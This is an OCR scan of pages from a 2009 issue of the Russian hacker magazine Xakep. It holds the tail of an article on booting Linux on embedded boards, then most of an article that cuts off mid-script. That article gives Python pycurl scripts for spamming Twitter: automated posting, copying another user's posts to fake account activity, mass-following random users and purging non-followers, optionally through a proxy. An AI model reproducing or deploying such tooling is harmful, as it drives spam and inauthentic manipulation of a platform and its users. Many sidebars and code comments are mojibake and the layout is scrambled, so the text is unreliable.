все необходимое для запуска ядра — конфигурирует контроллер памяти,<br />
последовательный порт, стек и шину, распаковывает временный образ<br />
корневого раздела в память. После низкоуровневой настройки железа<br />
загрузчик должен найти, скопировать в память и запустить непосредственно<br />
ядро с нужными параметрами командной строки и окружением. В<br />
«больших» компьютерах типа IBM-PC первую часть загрузки выполняет<br />
BIOS, а вторую берет на себя загрузчик типа GRUB или LILO.<br />
Следом стартует ядро Linux — распаковывает себя, определяет окружа-<br />
XÀÊÅÐ 04 /124/ 09
unixoid<br />
Карта виртуальной памяти в AT91SAM9<br />
ющее железо, инициализирует прерывания, запускает процесс Инит и<br />
подцепляет корневую файловую систему. Последняя может иметь вид<br />
сжатого РАМ-диска и быть распакованной в память еще загрузчиком<br />
(или же сразу монтироваться на флеш-диске, если имеет драйвера для<br />
доступа к нему внутри ядра).<br />
Далее, процессом Инит с готовой корневой ФС, стартуются уже другие<br />
процессы, и выполняются стартовые скрипты. Вскоре у тебя на устройстве<br />
— рабочая система.<br />
Естественно, загрузившись, ядру надо будет выполнять свои прямые<br />
обязанности, делать то, ради чего система и ставилась (например,<br />
собирать какие-нибудь данные об окружающем мире и показывать их<br />
на экране по требованию, поступившему с клавиатуры). Для общения с<br />
периферией нужны драйвера, которым взяться в ядре неоткуда. Значит,<br />
следующая задача — найти или написать их.<br />
ЧТО НУЖНО СО СТОРОНЫ СТАРШЕГО БРАТА<br />
Для начала — компиляторы для сборки софта под устройство. Понятно,<br />
что нужны GNU’тые GCC и toolchain, ибо они входят в официальный<br />
инструментарий компиляции Линукса, и именно под ними он скомпилируется<br />
без проблем. «Обыкновенные» GNU C компиляторы под<br />
х86-ю архитектуру не подойдут, так как архитектура контроллера в твоем<br />
embedded-устройстве, полагаю, любая другая, но только не х86-я. Поэтому<br />
придется качать кросс-компиляторы. Для ARM7/9/11 это, например,<br />
GNUARM (www.gnuarm.com), для AVR — GNU AVR (есть в репозитории<br />
Дебиана, пакет gcc-avr), ну а для совсем маленьких устройств типа<br />
архитектуры С51 — SDCC (хотя туда ядро Linux уже будет проблематично<br />
засунуть).<br />
Для создания образов файловых систем нам подойдут стандартные<br />
утилиты типа mkfs.(что_угодно), gzip и cpio. Здесь проблем возникнуть не<br />
должно. Теперь по поводу железа. Во-первых, не забывай про мощный<br />
отладочный интерфейс JTAG, который есть на борту у каждого уважающего<br />
себя контроллера. С ним заливка и отладка софта становятся<br />
вообще сказкой. JTAG-отладчик для LPT-порта можно собрать самостоятельно<br />
(смотри, к примеру, схему — www.diygadget.com/store/buildingsimple-jtag-cable/info_12.html)<br />
или купить готовый. Софта под интерфейс<br />
JTSG завались, и там уже выбирай под нужную тебе задачу.<br />
Ядро Linux при загрузке очень любит плеваться сообщениями на<br />
отладочный интерфейс (DBGU) контроллера. Естественно, нам первое<br />
время надо будет общаться с Linux’ом и искать ошибки напрямую. Для<br />
этого загрузчиком заранее конфигурируется DBGU-интерфейс, который<br />
XÀÊÅÐ 04 /124/ 09<br />
представляет собой обыкновенный RS-232 порт, к которому присоединяются<br />
с помощью кабеля для COM-порта (надеюсь, COM-разъем у тебя на<br />
отладочной плате распаян).<br />
Взяв какой-нибудь эмулятор терминала, типа cu или ckermit, и подклю-<br />
Âèðòóàëüíàÿ<br />
ïàìÿòü<br />
MMU ñîçäàåò àáñòðàêòíûé ñëîé ìåæäó ðåàëüíîé, «æåëåçíîé»<br />
ïàìÿòüþ è òàê íàçûâàåìîé âèðòóàëüíîé àäðåñàöèåé, ê êîòîðîìó,<br />
â èòîãå, è îáðàùàåòñÿ ïðîöåññîðíîå ÿäðî. Ïðèìåð: çàãðóç÷èê<br />
ìèêðîêîíòðîëëåðà AT91SAM9 ìîæåò æèòü â äâóõ ðàçíûõ ìåñòàõ<br />
— â ìèêðîñõåìàõ Dataflash è NANDFlash. Ïðè âêëþ÷åíèè ïèòàíèÿ<br />
âñòðîåííûé SAM-BA Boot çàïóñêàåòñÿ èç âíóòðåííåé ROM êîíòðîëëåðà.<br />
 ýòîò ìîìåíò âíóòðåííÿÿ read-only ïàìÿòü «íàõîäèòñÿ»<br />
ïî àäðåñó 0x00, ïîýòîìó ÿäðî ÷åñòíî íà÷èíàåò âûïîëíÿòü êîä,<br />
çàïèñàííûé òàì. Çàìåòü, ÿäðî óíèâåðñàëüíî è íè÷åãî íå çíàåò<br />
ïðî îêðóæàþùóþ åãî ïåðèôåðèþ. Îíî òóïî è íàèâíî íà÷èíàåò<br />
âûïîëíÿòü ïðîãðàììó, íàõîäÿùóþñÿ ïî íóëåâîìó àäðåñó. SAM-BA<br />
— ïðèìèòèâíûé çàãðóç÷èê, îí ìîæåò òîëüêî îïðîñèòü ïî î÷åðåäè<br />
Dataflash è NANDFlash è ñêîïèðîâàòü ïåðâûå 4 Êá íàéäåííîãî<br />
êîäà âî âíóòðåííþþ îïåðàòèâíóþ ïàìÿòü SRAM ìèêðîêîíòðîëëåðà.<br />
Ïîñëå êîïèðîâàíèÿ SAM-BA èñïîëíÿåò îñîáóþ ïðîöåññîðíóþ<br />
îïåðàöèþ, è àäðåñ 0x00 óæå óêàçûâàåò íà âíóòðåííþþ<br />
ñòàòè÷åñêóþ ïàìÿòü. Äàëåå 4-êèëîáàéòíûé çàãðóç÷èê ìîæåò<br />
ñêîïèðîâàòü îñíîâíîé êîä èç îñòàâøåãîñÿ îáúåìà Flash-êàðòû â<br />
îïåðàòèâíóþ ïàìÿòü SDRAM, ïîñëå ÷åãî íóëåâîé àäðåñ âèðòóàëüíîé<br />
ïàìÿòè áóäåò óæå óêàçûâàòü â íà÷àëî îïåðàòèâêè, è íà÷íåòñÿ<br />
íîðìàëüíàÿ çàãðóçêà. Òàêîå âîò ïðûãàíèå íóëåâîãî àäðåñà, ïðî<br />
êîòîðîå íè÷åãî íå îáÿçàíî çíàòü ÿäðî ARM.  ïðîöåññå ðàáîòû òîò<br />
æå êîíòðîëëåð MMU ïðîåöèðóåò âñå ìèêðîñõåìû ïàìÿòè, âèñÿùèå<br />
íà øèíå External Bus Interface, â áëîêè 256 Ìá êàæäûé, è ìû óæå ïî÷òè<br />
ìîæåì íå çàäóìûâàòüñÿ î ðåàëüíîì ìåñòîíàõîæäåíèè íàøèõ äàííûõ.<br />
Âñå «ïðîçðà÷íî» è â îäíîì ïðîñòðàíñòâå.  âåðõíþþ îáëàñòü ïàìÿòè<br />
(4 Ãá) îáû÷íî ìàïÿòñÿ àäðåñà ðåãèñòðîâ äëÿ óïðàâëåíèÿ ïåðèôåðèåé.<br />
Ýòî — ñòàíäàðòíàÿ ôèøêà âñåõ ìèêðîêîíòðîëëåðîâ.<br />
085
unixoid<br />
ЗАГРУЗЧИКИ<br />
Это самая сложная и ответственная часть загрузки Linux. Чемпионом по<br />
зоопарку поддерживаемых архитектур и размеру сообщества является<br />
универсальный загрузчик U-Boot (www.denx.de/wiki/U-Boot). На страницах<br />
журнала о нем не раз упоминалось. Для первых опытов советую<br />
именно его, так как тут есть, в том числе, драйвера на огромный список<br />
внешней периферии. Если утрировать, заточка U-Boot под конкретное<br />
устройство часто сводится к чтению маркировок окружающих контроллер<br />
микросхем. Для совсем ленивых этот загрузчик уже допилен<br />
под процессоры Atmel AT91SAM и AVR32, смотри сайты linux4sam.org<br />
и avrfreaks.net. На втором месте — загрузчик RedBoot, с не меньшими<br />
возможностями, но с меньшим комьюнити. Каюсь, я про него доселе<br />
сам ничего не знал, но если те же ЕмДебиановцы советуют, то он точно<br />
чего-то стоит :). Помимо универсальных загрузчиков, существуют еще<br />
заточенные под отдельные контроллеры, пишущиеся производителями<br />
и включающиеся ими в так называемые Software Packages. Просто<br />
поищи на сайте производителя — нечто подобное для облегчения труда<br />
программиста там всегда выкладывают. Например, для Atmel AT91SAM9<br />
уже существует быстрый и компактный загрузчик AT91 Bootstrap. Он<br />
понимает файловые системы JFFS2, FAT, подцепляет флешки и умеет<br />
загружать Linux. Ну а большего нам и не надо.<br />
Область применения Soekris net5501: маршрутизаторы, VPN-концентраторы<br />
и точки доступа<br />
чившись к устройству через COM-порт, ты сможешь низкоуровнево наблюдать<br />
за процессом загрузки и отсылать команды загрузчику и ядру. В<br />
общем, это твой первый терминал, когда Linux на устройстве еще ничего<br />
не знает ни о какой периферии ввода-вывода.<br />
Не все контроллеры умеют без загрузчика шиться по USB, многим для<br />
этого требуются спецпротоколы, скажем, C2 или ActiveSerial. Про твое<br />
устройство, как и про способ его загрузки, я ничего не знаю, поэтому<br />
— марш на сайт производителя изучать способы прошивки своего<br />
отдельно взятого МК. Возможно, тебе придется докупить или допаять<br />
какой-нибудь простенький шнурок.<br />
ЧТО, КУДА И КАК ЗАЛИВАТЬ<br />
Загрузчик, запакованное ядро и ФС с софтом надо где-то хранить. Чаще<br />
всего, загрузчик заливают в набортную флеш-память микроконтроллера,<br />
а все остальное лежит в распаянной рядом NAND-памяти.<br />
Собранный софт (в нашем случае — это ядро Linux и образ ФС) нужно<br />
залить в энергонезависимую память твоей платы. Способ целиком и<br />
полностью зависит от архитектуры и периферии устройства, так что<br />
все действия смотри в документации к своему контроллеру. Например,<br />
контроллер Atmel AT91SAM9260, на котором я отлаживаю свой Linux,<br />
никакой внутренней флеш-памяти не имеет, и прошивку надо заливать<br />
в запаянные рядом микросхемы Data или NAND-Flash памяти. Это было<br />
бы муторно, но к счастью, мой контроллер, не находя нигде подходящей<br />
программы, самостоятельно переключается в так называемый режим<br />
SAM-BA Boot, и, будучи воткнутым по USB в компьютер, определяется<br />
как usbserial-устройство. После чего, через специальный софт, написанный<br />
Atmel’овцами, я могу напрямую заливать нужные образы по адресам<br />
в память устройства сквозь микроконтроллер.<br />
Ну а если ты не поленился найти или запаять JTAG-интерфейс, то с<br />
легкостью сможешь не только заливать в контроллер софт, но и трассировать<br />
его.<br />
086<br />
ДИСТРИБУТИВЫ<br />
Вместо того чтобы вручную конфигурировать ядро, писать драйвера,<br />
долгие часы отлаживать процесс загрузки Linux на МК и по-всякому<br />
извращаться, я советую менее универсальный, но более действенный<br />
способ установки на твое устройство готового «дистрибутива», где большинство<br />
проблем, описанных в этой статье, уже решены.<br />
Полагаю, абсолютное чемпионство по количеству разных архитектур и<br />
пакетов принадлежит проекту Дебиан и его подразделу EmDebian (www.<br />
emdebian.org). Последний отличается от оригинального Debian тем, что<br />
у него меньший размер — там просто повыкидывали ненужные файлы,<br />
типа документации. Хелпов на сайте проекта завались, есть подробные<br />
HowTo, много вспомогательных утилит и прекомпилированные пакеты.<br />
Выполняй по пунктам процесс установки — и будет тебе счастье. У<br />
проекта нет собственного загрузчика, поэтому мантейнеры советуют<br />
использовать сторонние, типа U-boot или RedBoot (www.emdebian.org/<br />
tools/bootloader.html).<br />
Вообще, если к твоему устройству можно подключить винчестер или мегафлешку,<br />
то можешь не заморачиваться и ставить «большой» дистрибутив<br />
Debian. Всяко, там пакетов больше, да и система «взрослая».<br />
А если ты приверженец Генту? Пожалуйста, к твоим услугам Embedded<br />
Gentoo (www.gentoo.org/proj/en/base/embedded)! Хелп хороший, примеров<br />
много, а в загрузчики нам сватают все тот же U-Boot.<br />
Более продвинутые линуксоиды, которым знакомы слова Linux from<br />
Scratch, могут попробовать метадистрибутив OpenEmbedded (www.<br />
openembedded.org). По сути, это набор скриптов, build-утилита BitBake и<br />
набор метаданных, призванные облегчить сборку как ядра Линукс, так и<br />
любого софта под сторонние дистрибутивы. Никаких репозиториев, как<br />
в бинарных дистрибах, у него нет, – зато есть инструменты для легкого<br />
создания пакетов под IPK, RPM, DEB или tar.gz форматы.<br />
Кроме «универсальных» дистрибутивов, которые можно поставить на<br />
все, что угодно, в природе существуют специализированные, заточенные<br />
под определенный тип устройств. Например, проект OpenWrt<br />
(openwrt.org), предназначенный для установки исключительно на точки<br />
доступа. Народ помаленьку портирует туда софт, который ты запросто<br />
сможешь скачать прямо на устройство с помощью программы opkg,<br />
родственника дебиановского dpkg/apt. Прописываешь в местный<br />
аналог sources.list репозиторий под твою архитектуру и наслаждаешься<br />
круглосуточным файл-сервером и торрент-клиентом на стенке.<br />
Под мобильники (они относятся к встраиваемым устройствам!) сейчас<br />
тоже создаются варианты Линукса. Это — MontaVista (www.mvista.<br />
com) и нашумевший недавно OpenMoko c платформой Neo FreeRunner<br />
(openmoko.org). Направление новое, перспективное, поэтому дистрибутивами<br />
в этом секторе занимаются не столько энтузиасты, сколько<br />
вполне себе корпорации. Google с Nokia также поспешили выпустить<br />
свои продукты, и мы получили бегающие под Linux’ом Android’ы и N810.<br />
Не следует забывать и про самые маленькие и «глупые» устройства с примитивными<br />
МК без MMU, например, ARM7. Для них был проработан дистрибутив<br />
ucLinux (uclinux.org/ports) с отвязанными от ядра функциями управления<br />
памятью. Несмотря на отсутствие какой бы то ни было защиты и безопасности<br />
(одна программа может запросто повредить память другой), ucLinux — настоящая<br />
и полноценная система с поддержкой многозадачности.<br />
ЗАКЛЮЧЕНИЕ<br />
В пределах одной статьи невозможно охватить весь процесс установки<br />
и настройки Линукса на встраиваемые устройства, слишком уж велик<br />
зоопарк архитектур и спектр конфигурации. Но если теоретический материал<br />
тебя заинтересует настолько, что ты пойдешь изучать вопрос по<br />
сайтам и форумам, то с практикой, после подготовки, проблем тем более<br />
не возникнет! z<br />
XÀÊÅÐ 04 /124/ 09
Реклама
++++<br />
>> coding<br />
++++<br />
++++<br />
++++<br />
++++<br />
РОМАН «SPIRIT» ХОМЕНКО<br />
/ HTTP://TUTAMC.COM /<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
Атака<br />
на МИСТЕРА ТВИТТЕРА<br />
Скрипты для спама Twitter на Python’e<br />
Недавно мне попался на глаза пост на хабре с располагающим<br />
названием «Коммерческий инструмент для спама в твиттере —<br />
TweetTornado». Я заглянул на официальный сайт этого чуда-юда<br />
(tweettornado.com) и чуть со стула не упал. Оказалось, что он стоит<br />
целых 100 долларов!<br />
++++<br />
++++<br />
++++<br />
++ ++<br />
++++<br />
++++<br />
++++<br />
++++<br />
«За любовь не платят», — процитировал я исконный девиз ex-USSR<br />
хакеров и тут же взялся за написание соответствующей программы. Утаивать<br />
тонкости данного процесса от читателей z я не планирую, поэтому<br />
из статьи ты узнаешь, как злые кодеры создают рабочий инструмент для<br />
спама в твиттере. Он будет представлять собой 4 скрипта:<br />
• для отсылки одиночного сообщения;<br />
• бота для имитации активности аккаунта;<br />
• для добавления друзей;<br />
• для удаления «не друзей».<br />
Ну что же, приступим.<br />
TWITTER<br />
Прежде всего — немного теории для олдскульных зомби, которые до<br />
этого момента ничего не знали о микроблоггинге. Если ты не из их числа<br />
— перескакивай к следующему разделу. Итак, Twitter (twitter.com) — это<br />
микроблогинговый сервис, максимальный размер сообщения в рамках<br />
которого не должен превышать 140 символов. Суть сервиса проста: у<br />
тебя есть лента сообщений, в которой отображаются записи, сделанные<br />
тобою и твоими друзьями (или на языке твиттера — following). Все люди,<br />
следящие за блогом (followers), будут получать твои сообщения.<br />
Твиттер родился в 2006 году, но популярность стал набирать где-то в<br />
начале 2007. Сейчас в нем около 5 миллионов пользователей. С одной<br />
стороны, вроде бы и маловато (по сравнению с социальными сетями), но,<br />
учитывая неплохую положительную динамику в плане роста и тот факт, что<br />
одно отправленное сообщение тут же будет приходить всем зафолловленным<br />
пользователям — «реклама» в твиттере будет иметь очень радужные<br />
088<br />
перспективы. Сразу оговорюсь, мы не будем работать с русскоговорящей<br />
аудиторией твиттера (в связи с тем, что ее представляют, в основном,<br />
наши с тобой братья — компьютерные специалисты), предпочтя ей злых<br />
буржуинов — в Штатах твиттер уже выбрался в массы, к «домохозяйкам».<br />
ПОДГОТОВКА РАБОЧЕГО МЕСТА<br />
Скрипты мы будем писать на Python — в Linux он есть в большинстве<br />
дистрибутивов по умолчанию, а для работы с ним в Windows нужно установить<br />
интерпретатор версии 2.5 и библиотеку pyCurl. Все это хозяйство<br />
ты можешь найти на нашем диске. Для экспериментов со скриптами<br />
рекомендую заранее зарегистрировать новый аккаунт на твиттере<br />
вручную. Этот этап автоматизировать мы не будем в связи с наличием<br />
хорошей капчи, но много аккаунтов и не нужно, для спама хватит одного.<br />
ТВИТТЕР API<br />
Twitter всегда был приветлив к рекламным агентам. Его авторы создали<br />
очень простое API, позволяющее одним POST- или GET-запросом производить<br />
любые действия над твиттером. Все запросы отлично описаны в<br />
документации (apiwiki.twitter.com). Для каждого действия приводится:<br />
• URL запроса;<br />
• формат ответа, который вернет сервер;<br />
• метод запроса (POST или GET);<br />
• параметры и их описание;<br />
• пример запроса.<br />
Некоторые примеры, взятые из документации, ты сможешь увидеть<br />
на врезках. Кстати, когда будешь производить действия, требующие<br />
XÀÊÅÐ 04 /124/ 09
coding<br />
авторизации, помни, что в запросе нужно посылать логин и пароль с<br />
помощью HTTP Basic Authentication.<br />
При выборе формата результата мы всегда будем выбирать xml — мне он<br />
больше нравится, да и обрабатывать его очень просто.<br />
Теперь немного отвлечемся от API твиттера и научимся посылать запросы<br />
с помощью Python.<br />
PYTHON И CURL<br />
В случае возникновения необходимости выполнения HTTP-запросов я<br />
всегда выбираю мощный, универсальный инструмент, который работает<br />
во многих языках программирования — cURL.<br />
Для его использования подключим библиотеку pycURL:<br />
import pycurl<br />
Чтобы принять данные после запроса и сохранить их, библиотека<br />
pycURL требует указать функцию, которая будет принимать данные.<br />
Можно, конечно, и самим написать ее, но лучше воспользуемся модулем<br />
для работы со строками StringIO.<br />
В объекте StringIO есть метод write, идеально подходящий для<br />
этой цели. Подключим модуль и объявим объект такими строчками:<br />
import StringIO<br />
data = StringIO.StringIO()<br />
Теперь можно объявить объект pycURL и настроить параметры, например,<br />
для осуществления запроса главной странички xakep.ru. Полученный<br />
результат выведем на экран:<br />
ПОСТИНГ СООБЩЕНИЙ<br />
Вернемся к горячо любимому микроблоггингу и попробуем применить<br />
наши знания API твиттера путем создания первого скрипта, который<br />
будет отсылать сообщения:<br />
import pycurl, StringIO<br />
data = StringIO.StringIO()<br />
curl = pycurl.Curl()<br />
curl.setopt(pycurl.URL,<br />
'http://twitter.com/statuses/update.xml')<br />
curl.setopt(pycurl.WRITEFUNCTION, data.write)<br />
curl.setopt(pycurl.USERPWD,'spiritua:password')<br />
curl.setopt(pycurl.POSTFIELDS,'status=TEXT')<br />
curl.setopt(pycurl.POST,1)<br />
curl.perform()<br />
curl.close()<br />
print data.getvalue()<br />
В нем, как видно, ничего сложного. Главное — не забудь<br />
«spiritua:password» заменить на свой логин и пароль, а вместо «TEXT»,<br />
соответственно, написать нужное сообщение.<br />
Чтобы сделать использование удобнее и каждый раз при постинге<br />
сообщений не изменять в исходнике текст, заюзаем библиотеку sys для<br />
получения аргументов из командной строки:<br />
import sys<br />
– и изменим наш «TEXT» на «sys.argv[1]».<br />
Вызывать скрипт мы теперь будем так:<br />
curl = pycurl.Curl()<br />
#óñòàíàâëèâàåì ïàðàìåòðû çàïðîñà<br />
curl.setopt(pycurl.URL, 'xakep.ru')<br />
curl.setopt(pycurl.WRITEFUNCTION, data.write)<br />
#èñïîëíèì çàïðîñ<br />
curl.perform()<br />
#îñâîáîäèì ïàìÿòü<br />
curl.close()<br />
#ïîëó÷èì ðåçóëüòàò è âûâåäåì íà ýêðàí<br />
print data.getvalue()<br />
Далее, манипулируя методом setopt, мы по желанию сможем изменять<br />
наши запросы. Например, если добавить нижеуказанный код, то запрос<br />
будет осуществлен через socks с IP 192.168.1.1, размещенным на 2222<br />
порту.<br />
curl.setopt(pycurl.PROXYTYPE,<br />
pycurl.PROXYTYPE_SOCKS5)<br />
curl.setopt(pycurl.HTTPPROXYTUNNEL,1)<br />
curl.setopt(pycurl.PROXY, '192.168.1.1:2222')<br />
XÀÊÅÐ 04 /124/ 09<br />
sender.py "I love XAKEP"<br />
Обрати внимание, кавычки обязательны, так как потом скрипт берет<br />
только первый аргумент. Без них будет отослано лишь одно слово.<br />
ИМИТАЦИЯ АКТИВНОСТИ<br />
Чтобы пользователи добавили тебя в друзья и долго не удаляли, нужно<br />
имитировать активность, вести себя как обычный твиттерянин, лишь<br />
иногда публикуя рекламные посты. А не слишком ли тяжело будет придумывать<br />
сообщения? Может, проще подсмотреть их у соседа? Сделаем<br />
хитро — выберем проявляющего сетевую активность человека и<br />
утащим его посты к себе. После написания подобного скриптика для<br />
автопостинга, его можно поставить на cron (программа для запуска<br />
заданий по расписанию) с ежечасным вызовом. Для реализации этой<br />
задачи научимся читать посты юзеров. В твиттер API указано, что нужно<br />
использовать GET-запрос следующего вида — http://twitter.com/<br />
statuses/user_timeline/spiritua.xml. Здесь вместо ‘spiritua’ мы вставим<br />
имя выбранного донора сообщений. По расширению xml становится<br />
понятно, в каком формате придет результат :). Для дальнейшего парсинга<br />
xml можно использовать библиотеки, но в нашем случае от этого<br />
089
++++<br />
>> coding<br />
++++<br />
++++<br />
++++<br />
Ñêðèïò<br />
èìèòàöèè<br />
àêòèâíîñòè<br />
++++<br />
import re, sys, pycurl, StringIO<br />
#èíèöèàëèçàöèÿ îáüåêòîâ äëÿ ïîñûëêè çàïðîñîâ<br />
data = StringIO.StringIO()<br />
curl = pycurl.Curl()<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
++ ++<br />
++++<br />
++++<br />
++++<br />
warning<br />
Реклама полностью<br />
законна! Но — незаконно<br />
копирование<br />
в свой твит чужого<br />
контента. Этого мы<br />
тебе делать не советуем.<br />
links<br />
• Обо всех возможностях<br />
cURL читай<br />
на официальном<br />
сайте http://pycurl.<br />
sourceforge.net.<br />
• http://apiwiki.twitter.<br />
com — документация<br />
API твиттера.<br />
• www.python.org —<br />
официальный сайт<br />
Python.<br />
• http://python.su/<br />
forum — полезный<br />
питоновский форум.<br />
dvd<br />
На диске, кроме<br />
исходников и необходимых<br />
установочных<br />
файлов, ты найдешь<br />
также видео<br />
автора об установке<br />
и настройке среды<br />
программирования.<br />
усложнения помогут избавиться регулярные выражения.<br />
Если мы посмотрим на структуру xml-ответа, то увидим,<br />
что сообщения всегда находятся между тегами .<br />
Исходя из этого, заюзаем следующую регулярку:<br />
(.*).<br />
Для использования регулярных выражений в Python<br />
подключим модуль с названием re и используем его метод<br />
findall, который возвратит массив. Получим следующее:<br />
import re<br />
rez = re.findall("(.*)",data)<br />
Алгоритм скрипта активности будет такой:<br />
• берем у донора самое последнее сообщение;<br />
• проверяем, есть ли это сообщение среди наших, и, если<br />
нет, — публикуем.<br />
Думаю, теперь ты и сам сможешь его написать… или подглядеть<br />
на врезке и нашем диске.<br />
Осталось разобрать еще два скрипта, которые связаны с<br />
ростом рекламной сети, — то есть, расширением списка<br />
друзей.<br />
ТВИТТЕРЯНИН, ГДЕ ТЫ?<br />
Для поиска друзей я знаю три способа, которые нужно<br />
использовать в зависимости от желаемого результата:<br />
Äîáàâëåíèå<br />
â äðóçüÿ<br />
Äîáàâèòü â äðóçüÿ ïîëüçîâàòåëÿ, çíàÿ ID èëè ëîãèí<br />
URL: http://twitter.com/friendships/create/<br />
id.format<br />
Ôîðìàòû ðåçóëüòàòîâ (format): xml, json<br />
Ìåòîä çàïðîñà: POST<br />
Ïàðàìåòðû: id — îáÿçàòåëüíîé ïàðàìåòð, ñîäåðæèò<br />
ID èëè ëîãèí ïîëüçîâàòåëÿ, êîòîðîãî äîáàâëÿåì â<br />
äðóçüÿ<br />
Ïðèìåð çàïðîñà: http://twitter.com/friendships/<br />
create/bob.xml<br />
#âìåñòî donor íóæíî íàïèñàòü èìÿ ïîëüçîâàòåëÿ,<br />
êîòîðîãî íóæíî êîïèðîâàòü<br />
curl.setopt(pycurl.URL,<br />
'twitter.com/statuses/user_timeline/<br />
donor.xml')<br />
curl.setopt(pycurl.WRITEFUNCTION,<br />
data.write)<br />
#çàïóñê çàïðîñà íà ïîëó÷åíèÿ ñîîáùåíèé<br />
curl.perform()<br />
#ïðèìåíåíèå ðåãóëÿðêè äëÿ âûäåëåíèÿ èç òåêñòà<br />
ëèøü ñîîáùåíèé è ñîõðàíåíèÿ èõ â ìàcñèâ<br />
donor<br />
donor = re.findall("(.*)",<br />
data.getvalue())<br />
#îñâîáîæäàåì áóôåð äëÿ ñëåäóþùåãî çàïðîñà<br />
data.truncate(0)<br />
#âìåñòî user ïèøåì ñâîå èìÿ òâèòòåðà<br />
curl.setopt(pycurl.URL,<br />
'twitter.com/statuses/user_timeline/user.<br />
xml')<br />
curl.perform()<br />
#ïîèñê âñåõ ñîîáùåíèé è ñîõðàíåíèå èõ â ìàcñèâ<br />
my<br />
my = re.findall("(.*)",<br />
data.getvalue())<br />
#åñëè ïîñëåäíåãî ñîîáùåíèÿ äîíîðà íåò<br />
if donor[0] not in my:<br />
#íàñòðàèâàåì çàïðîñ äëÿ îòñûëêè ñîîáùåíèÿ<br />
curl.setopt(pycurl.URL,<br />
'twitter.com/statuses/update.xml')<br />
#íå çàáûâàåì ïîìåíÿòü èìÿ è ïàðîëü<br />
curl.setopt(pycurl.USERPWD, 'name:passwd')<br />
curl.setopt(pycurl.POSTFIELDS,<br />
'status=' + donor[0])<br />
curl.setopt(pycurl.POST,1)<br />
curl.perform()<br />
print 'one update posted'<br />
else:<br />
print ‘no new updates’<br />
#íå çàáûâàåì îñâîáîäèòü ïàìÿòü<br />
curl.close()<br />
1) Поиск по имени.<br />
2) Поиск по списку друзей.<br />
3) Случайный выбор.<br />
Поиск по имени почти не интересен, и я не знаю, где он был<br />
бы в нашей деятельности полезен. Поиск по списку друзей<br />
— наиболее продвинут и совершенно незаменим в случае,<br />
если нужно искать людей определенного круга. Например,<br />
++++<br />
090<br />
XÀÊÅÐ 04 /124/ 09
coding<br />
Питон всегда с улыбкой<br />
мы хотим продавать маечки с нарисованной Бритни Спирс. Ясное дело,<br />
нужно найти ее твиттер и достать список тех, кто его читает. Разумеется,<br />
на первых порах такой основательный таргетинг мы рассматривать<br />
не будем, поэтому в рамках статьи рассмотрим третий вариант — случайный<br />
выбор. Для этого лезем в API и видим, что, послав Get-запрос<br />
на URL http://twitter.com/statuses/public_timeline.xml, мы получим 20<br />
последних сообщений вместе с данными об авторах. Кстати, третий вариант<br />
удобен еще и тем, что, используя его, мы получим лишь активных<br />
пользователей.<br />
Имя в ответе от твиттера будет находиться между тегами ,<br />
поэтому для последующего парсинга результата подойдет вот эта регулярка:<br />
(.*).<br />
Получив список из 20 пользователей, нужно попросить их добавить нас<br />
в друзья. Благо, существует такая наука психология, и она говорит, что,<br />
если добавить пользователя, то он с большой вероятностью добавит нас<br />
и будет читать наши сообщения :).<br />
Опять обратимся к API, в котором указано, что для добавления в друзья необходимо<br />
послать Post-запрос на URL http://twitter.com/friendships/create/<br />
spirit.xml, где вместо spirit придется вставить имя нужного аккаунта.<br />
Переводя все это на Python, получим основные строчки для добавления<br />
в друзья (остальное можно подсмотреть на диске):<br />
curl.setopt(pycurl.URL,<br />
'http://twitter.com/friendships/create/' + name +<br />
'.xml')<br />
Îáíîâëåíèå<br />
ñòàòóñà (îòñûëêà<br />
ñîîáùåíèÿ)<br />
ïîëüçîâàòåëÿ<br />
URL: http://twitter.com/statuses/update.format<br />
Ôîðìàòû ðåçóëüòàòîâ (format): xml, json<br />
Ìåòîä çàïðîñà: POST<br />
Ïàðàìåòðû: status — îáÿçàòåëüíûé ïàðàìåòð, êîòîðûé ñîäåðæèò<br />
òåêñò íîâîãî ñòàòóñà. Èñïîëüçóéòå URL-êîäèðîâàíèå ïðè íåîáõîäèìîñòè.<br />
Äëèíà òåêñòà äîëæíà áûòü íå áîëåå 140 ñèìâîëîâ.<br />
XÀÊÅÐ 04 /124/ 09<br />
Наши стрелы в твиттере<br />
curl.setopt(pycurl.USERPWD,'spiritua:passwd')<br />
curl.setopt(pycurl.POST,1)<br />
Теперь берем и соединяем «поиск 20 случайных юзеров» и «добавление в друзья».<br />
В результате получаем супер скрипт, который, опять же, ставим на Cron с<br />
определенным интервалом, и наблюдаем, как бодро и молодцевато (так говорят<br />
у нас в милиции) растет рекламная сеть (áëèí, íå çðÿ ìíå ïîêàçàëàñü<br />
ïîäîçðèòåëüíîé åãî ôîòîãðàôèÿ â ïîãîíàõ, — Ïðèì. Ëîçîâñêîãî).<br />
«РЕДИСКА» — ПЛОХОЙ ЧЕЛОВЕК<br />
И было бы все хорошо, если бы не существовали люди, нежелающие<br />
ответным жестом добавлять нас с тобой в виртуальные товарищи. Эти<br />
люди портят статистику, поэтому я советую периодически от них избавляться.<br />
Для этого нужно получить список людей, которых ты добавил<br />
друзья, и список тех, кто добавил тебя. Сравниваем списки и кикаем<br />
лишних… Для получения списков нужно послать запросы на URL:<br />
• http://twitter.com/statuses/friends.xml<br />
• http://twitter.com/statuses/followers.xml<br />
В итоге, получим следующий код:<br />
#íàñòðîèì cURL íà ïîëó÷åíèå ñïèñêà äðóçåé<br />
curl.setopt(pycurl.URL,<br />
'http://twitter.com/statuses/friends.xml')<br />
curl.setopt(pycurl.USERPWD,’spiritua:passwd')<br />
curl.setopt(pycurl.WRITEFUNCTION, data.write)<br />
091
++++<br />
>> coding<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
Удобное программирование в Eclipse<br />
++++<br />
++++<br />
friends = re.findall("(.*)",<br />
friends)<br />
followers = re.findall("(.*)",<br />
followers)<br />
++++<br />
++++<br />
Питон всегда с улыбкой<br />
А теперь можно приступать к удалению, посылая запросы на URL http://<br />
twitter.com/friendships/destroy/spirit.xml. В результате должен получиться<br />
примерно следующий код (полный исходник рекомендуется курить с<br />
нашего диска):<br />
#ïîäêëþ÷èì áèáëèîòåêó time äëÿ êîìàíäû sleep<br />
import time<br />
++++<br />
curl.setopt(pycurl.POST, 1)<br />
#öèêë ïî âñåìó ñïèñêó äðóçåé<br />
for friend in friends:<br />
